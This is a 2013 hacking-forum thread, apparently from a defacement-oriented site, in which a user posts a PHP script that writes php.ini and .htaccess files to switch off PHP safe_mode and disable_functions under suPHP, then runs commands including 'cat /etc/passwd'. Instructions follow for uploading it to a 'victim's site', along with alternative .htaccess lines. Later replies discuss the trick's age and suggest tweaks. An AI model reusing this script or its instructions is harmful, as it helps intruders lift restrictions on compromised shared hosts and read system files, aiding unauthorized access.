Anti-armenia.ORG - Forumlar - SuPHP safe mode bypass



Istifadəçi
    2013-01-29 23:14 GMT                 

SkarY



VIP
Mesaj Sayı : 19
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək : SkarY
Yaş : 31
Mesaj :

Mövzunu Paylaş!


Hello! Now bring an exploit to exploit a vulnerability in vBulletin 3.6.5!




Kod:
*/

echo "[+] Start...\n";

$bypfile=fopen('php.ini','w+');

$stuffile=fopen('.htaccess','w+');

if($bypfile and $stuffile!= NULL){

echo "[+] evil files created succes ! \n";

}

else{

echo "[-] access denial ! \n";

}

$byprullz1="safe_mode = OFF

";

$byprullz2="disable_functions = NONE";

$dj=fwrite($bypfile,$byprullz1);

$dj1=fwrite($bypfile,$byprullz2);

fclose($bypfile);

if($dj and $dj1!= NULL){

echo "[+] php.ini writed \n";

}

else{

echo "[-] 404 php.ini not found !\n";

}

$breakrullz="suPHP_ConfigPath /home/user/public_html/php.ini"; // replace this '/home/user/public_html' by ur path

$sf7=fwrite($stuffile,$breakrullz);

fclose($stuffile);

if($sf7!= NULL){

echo "[+] evil .htaccess writing...done\n";

echo "[+] exploited by success!\n\n\n";

echo "\t\t\t[+] programmed by SkarY\n";

echo "\t\t\t[+] home : skaryhaxerror.blogspot.com\n";

echo "\t\t\t[+] Greetz : My Friends and Anti-Armenia.org ..\n";

}

else{

echo "[-] evil .htaccess Not found!\n";

}

system("pwd;ls -lia;uname -a;cat /etc/passwd");

#EOF

?>


--------------------------------------------
Not my shell but very useful.
quick tut on how to make safe-mode off.

--------------------------------------------
Now open the Script with notePad and press Ctrl+F and look for the ” ConfigPath ” without quotes.
Now replace the /home/user/public_html/php.ini”; // replace this ‘/home/user/public_html’ by your own site path.
Now save it and upload it in your victim’s site and open it .
Boom automatically it will create the files and The Safe Mode will turn into Safe Mode Off

--------------------------------------------
Or do what i do here :
--------------
Put this line inside .htaccess file to turn it OFF:

php_value safe_mode off

IF ABOVE DOESN'T WORK, THEN:

php_flag safe_mode off

ALSO try substituting the "off" word with: 0

Eg: php_value safe_mode 1

Upload it on your shell or your website filemanager ;)

-----------------

ENJOR AND GOOD LUCK!
Thank's!

Welcome to my world
Anti-armenia.ORG
    

Istifadəçi
    2013-01-30 01:32 GMT                 

BlackMinD



Pr0grammer
Mesaj Sayı : 1677
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   62  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : KARABAKH IS AZERBAIJAN!
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Dude i relly appreciate your work and Welcome to our forums.Glad to see you here.
But here is few things about this topic subjected by you as "vBulletin 3.6.5 Exploit".

Your topics subject and your shared "code" is completely different things)
1'st topic is nothing does about vbulletin.
And 2'nd your shared code snippet is well known + dead suphp "bypassing" way.
It nothing does with vbulletin.Completely different things.
Why not rename your topic title to "SuPHP safe mode bypass" ?

Also this is not vulnerability anymore.You can ask me why?WTF?
The main problem in that suphp defaultly allows per directory php.ini + .user.ini usage.
Something like to adjust some php directives for users(on shared hostings)
This can be allowed/disallowed by server admins by adjusting /etc/suphp/suphp.conf.
This is not vulnerability in suphp anymore it is "feature".
Hope it makes sense now.

Ana VƏTƏN!
Anti-armenia.ORG
    

Istifadəçi
    2013-01-30 02:21 GMT                 

SkarY



VIP
Mesaj Sayı : 19
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək : SkarY
Yaş : 31
Mesaj :

Mövzunu Paylaş!


Thanks for the welcome, but look at what I mean by this is that it is a failure of vBulletin 3.6.5, but hey what you say, must be the expert here.

Greetings.

Welcome to my world
Anti-armenia.ORG
    

Istifadəçi
    2013-01-30 02:24 GMT                 

BlackMinD



Pr0grammer
Mesaj Sayı : 1677
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   62  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : KARABAKH IS AZERBAIJAN!
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


No problem dude) This may happen with all us;) So it's ok)

Ana VƏTƏN!
Anti-armenia.ORG
    

Istifadəçi
    2013-01-30 04:29 GMT                 

Dr.KroOoZ



C0d3r
Mesaj Sayı : 127
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   11  
Indi Saytda : Durum
Cinsiyyət :
Şəhər :
Ölkə :
Məslək : Dr.KroOoZ
Yaş :
Mesaj :

Mövzunu Paylaş!


This Trick Found By Sfa7 & its old ..

This : http://pastebin.com/mi0vJT1H

u can replace
Kod:
/user/
via
Kod:
get_current_user()

Anti-armenia.ORG
    

Istifadəçi
    2013-01-30 17:51 GMT                 

SkarY



VIP
Mesaj Sayı : 19
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək : SkarY
Yaş : 31
Mesaj :

Mövzunu Paylaş!


This code was taken out of the other parts and then I realized that I was on the internet.

And thanks for your suggestion he change it right away!.

Welcome to my world
Anti-armenia.ORG
    

Istifadəçi
    2013-01-31 21:33 GMT                 

Ferid23



Admin
Mesaj Sayı : 1875
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   45  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Anti-armenia.ORG
Ölkə :
Məslək : Programmer & Defacer
Yaş : 12
Mesaj :

Mövzunu Paylaş!


Thanks

AZ Domaini İhbar Hattı (Azərbaycan saytlarında olan boşluqları bizə bildirin): http://anti-armenia.org/forums.php?m=posts&q=572
Qaydalar (Saytın qayda-qanunlarını oxuyaraq əməl edin)
Anti-armenia.ORG
    

Istifadəçi
    2013-01-31 21:57 GMT                 

Error_007



Gold
Mesaj Sayı : 222
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   2  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : -
Ölkə :
Məslək :
Yaş : 35
Mesaj :

Mövzunu Paylaş!


Thank you for the necessary information =)

Anti-armenia.ORG